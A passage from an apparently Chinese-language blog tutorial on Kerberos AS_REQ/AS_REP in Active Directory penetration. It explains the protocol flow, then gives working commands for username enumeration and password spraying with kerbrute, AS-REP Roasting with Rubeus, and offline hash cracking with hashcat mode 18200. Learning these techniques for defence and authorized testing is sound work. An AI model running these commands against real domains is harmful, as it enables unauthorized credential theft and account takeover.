域渗透-kerberos协议 学习篇(1)

AS_REQ&AS_REP

前言

域渗透的本质就是协议,在最近的学习中发现自己对域渗透kerberos协议这块有点模糊了,所以又回头看了一下,这次顺便记录下来,加深印象。
我会把域渗透中常见关于kerberos协议利用的方法和自己的理解都写清楚。方便自己下次看,也欢迎小伙伴一起学习。

这篇文章会先写kerberos的前2个阶段,也就是AS_REQ和AS_REP,会将自己的理解和这个阶段常见的攻击手法都写下来。

kerberos 认证流程

kerberos认证过程中会涉及到以下几个角色:

1、域控

2、KDC

3、AD(活动目录)

4、client

5、server

KeyDistribution Center秘钥分发中心简称KDC,默认是安装在域控制器(DC)上,其中KDC中又包含了Authentication Service(身份验证服务),简称AS,用于KDC对Client认证和Ticket Grantng Service (票据授予服务),简称TGS,用于KDC向Client和Server分发Session Key。

Active Directory(活动目录),简称AD,用于存储用户、用户组、域相关的信息。
Client 客户端,指用户。
Server 服务端,可能是某台计算机,也可能是某个服务。

kerberos认证的大体流程为:

在这里插入图片描述
大概的流程就是这样,其中会有一些细节。

在AS_REQ&AS_REP认证的时候具体过程:
AS_REQ
client访问域内的服务,本机会向KDC的AS 认证服务发送一个AS_REQ请求。请求主要包含用户Hash加密的时间戳、请求用户名、协商Hash的加密类型等信息。
AS_REP
AS_REP在收到该请求后会先访问AD,查询是否有该用户,如果有则取出用户的hash 用来解密AS_req中PA_DATA中PA-ENC-TIMESTAMP的内容并生成一个随机密钥session_key as,使用client的hash 加密session_key as,作为TGS_REQ阶段的部分内容发送给TGS。还有一部分内容为krbtgt用户hash加密的session_key as,timestamp,client-info为TGT的内容。(这部分的session_key as 在下一阶段被解密出来会用来加密server_info,client_info,timestamp。会用来与TGT中的内容对比,如果正确,也有权限才会给ST)

AS_REQ

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

AS_REP

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

AS_REQ&AS_REP阶段常见安全问题

1、用户名枚举

kerbrute_windows_amd64.exe userenum --dc 192.168.3.144 -d rootkit.org top-usernames-shortlist.txt
该工具会对域控制器的88号端口发送kerberos-pre-auth认证
当用户名存在,密码错误,会在返回包kerberos-krb-error-error_code字段中出现
error-code: eRR-PREAUTH-REQUIRED (25)
当用户名不存在时kerberos-krb-error-error_code字段中出现
error-code: eRR-C-PRINCIPAL-UNKNOWN (6)
利用该特征枚举出正确的域用户名
在这里插入图片描述

2、密码喷洒

kerbrute_windows_amd64.exe passwordspray -d rootkit.org top-usernames-shortlist.txt admin!@#45

top-usernames-shortlist.txt 爆破成功的域用户名
admin!@#45 喷洒的密码
登录成功,会产生日志(4768 - A Kerberos authentication ticket (TGT) was requested)
在这里插入图片描述

3、AS-REP Roasting

kerberos身份预认证默认情况下是开启的,KDC会记录密码错误次数,防止在线爆破。密码错误次数多了,会被锁定账号,所以千万不要一直对一个域用户去猜解密码,可以使用上面介绍的密码喷洒的方式,对不同的用户,使用同一个密码。

如果关闭了预身份验证后,攻击者可以指定用户去请求票据,域控不会校验AS_ERQ阶段的内容,在AS_REP阶段会返回用户hash加密的session key和krbtgt hash加密的TGT。所以攻击者拿到session key,则可以进行离线爆破。

设置为不接受kerberos身份预认证
在这里插入图片描述
rubeus.exe获得用户Hash
Rubeus.exe asreproast

在这里插入图片描述
将as_rep中的hash 复制下来
以固定的格式
$krb5asrep$23${0}@{1}:{2}", userName, domain, repHash

hashcat爆破

hashcat -m 18200 1.txt pass.txt --force
在这里插入图片描述
爆破成功
在这里插入图片描述

未完待续…

  • 13
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值